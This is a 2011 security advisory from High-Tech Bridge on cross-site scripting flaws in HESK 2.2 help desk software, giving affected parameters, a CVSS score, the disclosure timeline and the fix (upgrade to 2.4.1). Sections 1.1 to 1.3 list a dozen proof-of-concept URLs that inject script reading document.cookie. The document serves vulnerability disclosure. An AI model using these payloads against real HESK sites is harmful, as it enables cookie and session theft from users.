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Cross-site Scripting (XSS) Vulnerabilities in HESK

Advisory ID:HTB23030
Product:HESK
Vendor:Klemen Stirn
Vulnerable Versions:2.2 and probably prior
Tested Version:2.2
Advisory Publication:July 6, 2011 [without technical details]
Vendor Notification:July 6, 2011
Public Disclosure:August 3, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in HESK which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in HESK
1.1 The vulnerability exists due to input sanitation error in the "hesk_settings[tmp_title]" and "hesklang[ENCODING]" parameters in inc/header.inc.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that register_globals is enabled.
Exploitation examples:
http://[host]/inc/header.inc.php?hesk_settings[tmp_title]=%3C/title%3E%3Cscr ipt%3Ealert%28document.c ookie%29;%3C/script%3E
http://[host]/inc/header.inc.php?hesklang[ENCODING]= %22%3E%3Cscript%3Ealert%28document.cookie%29;%3C /script%3E

1.2 The vulnerability exists due to input sanitation error in the "hesklang[attempt]" parameter in multiple scripts inside the /inc/ directory. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that register_globals is enabled.
Exploitation examples:
http://[host]/inc/assignment_search.inc.php?hesklang[attempt]=%3Cscript%3Eal ert%28document.cookie%29 ;%3C/script%3E
http://[host]/inc/attachments.inc.php?hesklang[attempt]=%3Cs cript%3Ealert%28document.cookie%29;%3C/s cript%3E
http://[host]/inc/common.inc.php?hesklang[attempt]=%3Cscript%3Eale rt%28document.cookie%29;%3C/script %3E
http://[host]/inc/database.inc.php?hesklang[attempt]=%3Cscript%3Ealert% 28document.cookie%29;%3C/scri pt%3E
http://[host]/inc/prepare_ticket_search.inc.php?hesklang[attempt]=%3C script%3Ealert%28document.cooki e%29;%3C/script%3E
http://[host]/inc/print_tickets.inc.php?hesklang[attempt ]=%3Cscript%3Ealert%28document.cookie%29;%3C /script%3E
http://[host]/inc/show_admin_nav.inc.php?hesklang[attempt]=%3Csc ript%3Ealert%28document.cookie%29;%3 C/script%3E
http://[host]/inc/show_search_form.inc.php?hesklang[attempt]=%3 Cscript%3Ealert%28document.cookie%29; %3C/script%3E
http://[host]/inc/ticket_list.inc.php?hesklang[attempt]=%3Csc ript%3Ealert%28document.cookie%29;%3C/s cript%3E

1.3 The vulnerability exists due to input sanitation error in URL in language/en/text.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://[host]/language/en/text.php/%3Cscript%3Ealert%28document.cookie%29;%3 C/script%3E


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Upgrade to HESK 2.4.1


References:
[1] High-Tech Bridge Advisory HTB23030 - https://www.immuniweb.com/advisory/HTB23030 - Cross-site Scripting (XSS) Vulnerabilities in HESK
[2] HESK - hesk.com - HESK is PHP Help Desk Software allowing you to set up an efficient Web-based ticket support system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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